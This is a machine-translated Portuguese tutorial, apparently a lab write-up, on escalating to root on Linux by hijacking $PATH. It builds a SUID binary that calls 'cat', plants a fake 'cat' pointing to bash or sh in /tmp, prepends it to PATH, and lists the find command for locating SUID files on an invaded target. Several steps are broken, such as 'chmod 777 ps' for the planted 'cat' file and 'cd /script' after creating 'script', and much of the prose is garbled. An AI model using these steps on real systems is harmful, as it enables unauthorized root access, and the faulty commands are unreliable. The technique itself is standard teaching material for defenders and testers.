Diretório de artigos
Escalonamento de privilégios de variáveis de ambiente
$PATH环境变量
Obtenha o privilégio de root do host remoto através de vários métodos de controle
O que é $PATH?
$PATH é uma variável de ambiente em sistemas operacionais Linux e semelhantes a Unix, que especifica os diretórios bin e sbin onde todos os programas executáveis são armazenados. Quando um usuário executa qualquer comando no terminal, ele faz uma solicitação ao shell para procurar arquivos executáveis em resposta ao comando executado pelo usuário com a ajuda de variáveis de ambiente. Os superusuários também normalmente possuem entradas /sbin e /usr/sbin para facilitar a execução de comandos de administração do sistema.
echo
Você pode visualizar facilmente as variáveis de ambiente relacionadas ao usuário atual com o comando.
echo $PATH
/usr/local/bin
/usr/bin
/bin
/usr/local/games
/usr/game
princípio
Acho que o princípio do escalonamento de privilégios da variável de ambiente é adulterar o caminho absoluto de um comando na frente da variável de ambiente (por exemplo, adicioná-lo ao front/tmp/cat
) e, quando executarmos um comando, daremos prioridade a encontrar este comando na frente do $PATH
caminho da variável de ambiente, assumindo que um determinado script shell
(com autoridade SUID) executa cat
o comando, então descubra /tmp/cat
, seu conteúdo é /bin/bash
, então de acordo com o escalonamento de privilégio SUID, ele será executado com privilégio de root /bin/bash
, e o privilégio será escalado com sucesso para root
exemplo
Agora nosso diretório atual é /home/raj, criaremos um diretório srcipt no diretório atual. Em seguida, vá para o diretório de script e escreva um programa C simples para chamar a função do arquivo binário do sistema.
pwd
mkdir script
cd /script
nano demo.c
demonstração.c:
#include<unistd.h>
void main()
{
setuid(0);
setgid(0);
system("cat /etc/passwd");
}
Em seguida, use gcc para compilar o arquivo demo.c e dê permissão SUID ao arquivo compilado
ls
gcc demo.c -o shell
chmod u+s shell
ls -la shell
Iniciar um ataque
Primeiro, você precisa invadir o sistema da máquina alvo e entrar no estágio de escalonamento de privilégios. Supondo que você tenha feito login com sucesso na máquina de destino por meio de ssh, além de qualquer outra coisa, usamos diretamente o comando find para procurar arquivos com permissões SUID ou 4000.
find / -perm -u=s -type f 2>/dev/null
Ao executar o comando acima, o invasor pode percorrer qualquer arquivo executável. Aqui podemos ver que o arquivo shell no diretório /home/raj/script tem permissão SUID, conforme mostrado na figura:
Então, vamos para o diretório /home/raj/script/, ls, e vemos o arquivo executável chamado shell.
cd /tmp
echo “/bin/bash” > cat
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./shell
whoami
Escalonamento de privilégios bem-sucedido
Além echo
do comando, você também pode usar o copy
comandosymlink
cd /home/raj/script/
cp /bin/sh /tmp/cat
echo $PATH
export PATH=/tmp:$PATH
./shell
whoami
ln -s /bin/sh cat
export PATH=.:$PATH
./shell
id
whoami
A chave para o escalonamento de privilégios da variável de ambiente é encontrar um SUID
arquivo executável com permissões, e ele chamará alguns comandos do sistema, podemos chamar o conteúdo no comando personalizado modificando a variável de ambiente
Artigos relacionados
https://xz.aliyun.com/t/2767